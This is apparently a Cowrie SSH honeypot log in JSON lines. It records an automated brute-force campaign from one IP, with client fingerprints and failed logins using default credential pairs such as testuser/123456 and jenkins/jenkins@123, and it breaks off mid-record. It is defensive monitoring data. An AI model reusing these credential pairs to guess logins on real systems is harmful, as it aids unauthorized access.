{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:19.860281Z","src_ip":"192.109.200.237","session":"7193f5ac6207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:20.112601Z","src_ip":"192.109.200.237","session":"7193f5ac6207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:21.199802Z","src_ip":"192.109.200.237","session":"7193f5ac6207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39220,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c1a1ff3099","protocol":"ssh","message":"New connection: 192.109.200.237:39220 (159.203.135.109:22) [session: f6c1a1ff3099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:22.852862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:22.857639Z","src_ip":"192.109.200.237","session":"f6c1a1ff3099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:22.939760Z","src_ip":"192.109.200.237","session":"f6c1a1ff3099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:23.185768Z","src_ip":"192.109.200.237","session":"f6c1a1ff3099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:24.280619Z","src_ip":"192.109.200.237","session":"f6c1a1ff3099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39244,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4d28b72c32a","protocol":"ssh","message":"New connection: 192.109.200.237:39244 (159.203.135.109:22) [session: b4d28b72c32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:25.939816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:25.945988Z","src_ip":"192.109.200.237","session":"b4d28b72c32a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:26.028910Z","src_ip":"192.109.200.237","session":"b4d28b72c32a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:26.450920Z","src_ip":"192.109.200.237","session":"b4d28b72c32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:27.535849Z","src_ip":"192.109.200.237","session":"b4d28b72c32a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39258,"dst_ip":"159.203.135.109","dst_port":22,"session":"32e639db8c2a","protocol":"ssh","message":"New connection: 192.109.200.237:39258 (159.203.135.109:22) [session: 32e639db8c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:29.315720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:29.320439Z","src_ip":"192.109.200.237","session":"32e639db8c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:29.402856Z","src_ip":"192.109.200.237","session":"32e639db8c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:29.649843Z","src_ip":"192.109.200.237","session":"32e639db8c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:30.739265Z","src_ip":"192.109.200.237","session":"32e639db8c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49184,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7702f71a550","protocol":"ssh","message":"New connection: 192.109.200.237:49184 (159.203.135.109:22) [session: a7702f71a550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:32.551297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:32.557329Z","src_ip":"192.109.200.237","session":"a7702f71a550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:32.639862Z","src_ip":"192.109.200.237","session":"a7702f71a550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:32.891346Z","src_ip":"192.109.200.237","session":"a7702f71a550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:34.092541Z","src_ip":"192.109.200.237","session":"a7702f71a550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b675a699285","protocol":"ssh","message":"New connection: 192.109.200.237:49196 (159.203.135.109:22) [session: 9b675a699285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:35.694409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:35.698998Z","src_ip":"192.109.200.237","session":"9b675a699285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:35.780806Z","src_ip":"192.109.200.237","session":"9b675a699285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:36.030324Z","src_ip":"192.109.200.237","session":"9b675a699285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:37.115271Z","src_ip":"192.109.200.237","session":"9b675a699285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49200,"dst_ip":"159.203.135.109","dst_port":22,"session":"752a25aae99a","protocol":"ssh","message":"New connection: 192.109.200.237:49200 (159.203.135.109:22) [session: 752a25aae99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:38.868051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:38.873358Z","src_ip":"192.109.200.237","session":"752a25aae99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:38.956011Z","src_ip":"192.109.200.237","session":"752a25aae99a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:39.201759Z","src_ip":"192.109.200.237","session":"752a25aae99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:40.287387Z","src_ip":"192.109.200.237","session":"752a25aae99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41856,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea953ea5f34","protocol":"ssh","message":"New connection: 192.109.200.237:41856 (159.203.135.109:22) [session: fea953ea5f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:41.940210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:41.945535Z","src_ip":"192.109.200.237","session":"fea953ea5f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:42.028136Z","src_ip":"192.109.200.237","session":"fea953ea5f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:42.279332Z","src_ip":"192.109.200.237","session":"fea953ea5f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:43.365096Z","src_ip":"192.109.200.237","session":"fea953ea5f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41870,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5b3bc6e6b0","protocol":"ssh","message":"New connection: 192.109.200.237:41870 (159.203.135.109:22) [session: 4d5b3bc6e6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:45.046136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:45.052719Z","src_ip":"192.109.200.237","session":"4d5b3bc6e6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 